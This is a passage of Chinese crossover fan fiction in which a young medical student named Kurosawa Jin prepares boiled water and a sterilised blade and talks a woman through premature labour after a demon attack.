炭吉喘着粗气挣扎着爬起来,他刚刚试图用斧头砍掉恶鬼的小腿,却被掀翻到一旁,此刻看起来有些狼狈,“对了,朱弥子、朱弥子还在!” “叙旧等下再说,夫人受到了惊吓,恐怕要早产了。” 此时此刻,东大医学生黑泽先生展现了极佳的专业素养,“景光,你去烧热水,把我包裹里的匕首用烈酒消一下毒。” 如果真的来不及,就直接剖开那女人的腹部,至少还有一线生机。 “我马上去给夫人稳定身体状况,缘一先生快去寻找接生……” 黑泽阵嘴角抽搐,他注视着那一团几乎要消失在自己视线中的红色背影,突然觉得紧张感减少了许多。 一定、一定来得及。 他沉默了几秒钟,随即义无反顾地走进那间已经被痛呼声填充的房间……所以为什么,自己突然跑来当救人的那方啊。 真的很怪。 “跟我做,夫人。”他半跪在女人身边,虽然声音仍旧是属于未成年人的稚嫩,但却沉静得让人不由敬服,“放缓呼吸,来,呼——吸——很好,继续,呼——吸——” “你会没事的,相信我。” 他笃定。